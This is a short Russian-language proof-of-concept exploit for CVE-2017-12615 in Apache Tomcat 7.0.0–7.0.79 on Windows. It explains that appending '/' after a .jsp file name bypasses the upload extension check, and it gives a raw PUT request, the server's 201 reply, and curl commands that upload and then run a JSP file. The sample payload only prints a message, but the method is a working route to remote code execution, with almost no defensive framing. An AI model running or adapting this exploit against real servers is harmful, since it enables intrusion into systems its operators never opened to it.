
PoC-эксплойт для уязвимости PUT JSP в Apache Tomcat 7.0.x (CVE-2017-12615).
POC-эксплойт для Apache Tomcat 7.0.0–7.0.79 под управлением Windows; уязвимость CVE-2017-12615 PUT JSP.
По замыслу, на серверах Apache Tomcat не разрешена загрузка JSP-файлов через метод PUT. Вероятно, это мера безопасности, призванная не дать атакующему загрузить JSP-шелл и получить удалённое выполнение кода на сервере. Однако из-за недостаточных проверок атакующий может получить удалённое выполнение кода на серверах Tomcat 7.0.{0 to 79}, где включён PUT, отправив на сервер Tomcat специально сформированный HTTP-запрос с методом PUT. Но серьёзно, особый? Ну пожалуйста.
Добавив символ '/' после расширения имени файла, можно обойти проверку расширения файла. Вот и всё. Так что на самом деле ничего особенного.
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
curl http://target-host-or-ip-address:port/test.jsp